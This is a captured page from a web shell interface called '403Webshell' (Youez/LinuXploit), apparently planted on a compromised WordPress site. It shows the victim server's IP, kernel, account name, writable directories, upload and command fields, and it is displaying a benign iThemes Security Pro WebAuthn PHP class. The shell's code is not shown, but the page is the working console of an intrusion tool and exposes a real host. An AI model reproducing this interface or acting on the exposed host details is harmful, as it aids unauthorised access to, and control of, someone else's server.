403Webshell
Server IP : 104.21.14.103  /  Your IP : 3.144.97.189
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/giankuin/dietcontrungnhanh.com/wp-content/plugins/ithemes-security-pro/pro/webauthn/DTO/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/giankuin/dietcontrungnhanh.com/wp-content/plugins/ithemes-security-pro/pro/webauthn/DTO/AuthenticatorResponse.php
<?php

namespace iThemesSecurity\WebAuthn\DTO;

use iThemesSecurity\Strauss\Assert\Assert;

abstract class AuthenticatorResponse implements \JsonSerializable {

	/**
	 * This attribute contains the JSON-compatible serialization of client data
	 * passed to the authenticator by the client in order to generate this credential.
	 * The exact JSON serialization MUST be preserved, as the hash of the serialized
	 * client data has been computed over it.
	 *
	 * @var BinaryString
	 */
	protected $clientDataJSON;

	public function __construct( BinaryString $clientDataJSON ) { $this->clientDataJSON = $clientDataJSON; }

	abstract public static function hydrate( array $data ): AuthenticatorResponse;

	public function get_client_data_json(): BinaryString {
		return $this->clientDataJSON;
	}

	public function get_and_decode_client_data(): CollectedClientData {
		$decoded = json_decode( $this->clientDataJSON->get_binary(), true );
		Assert::that( $decoded )->isArray();

		return CollectedClientData::hydrate( $decoded );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit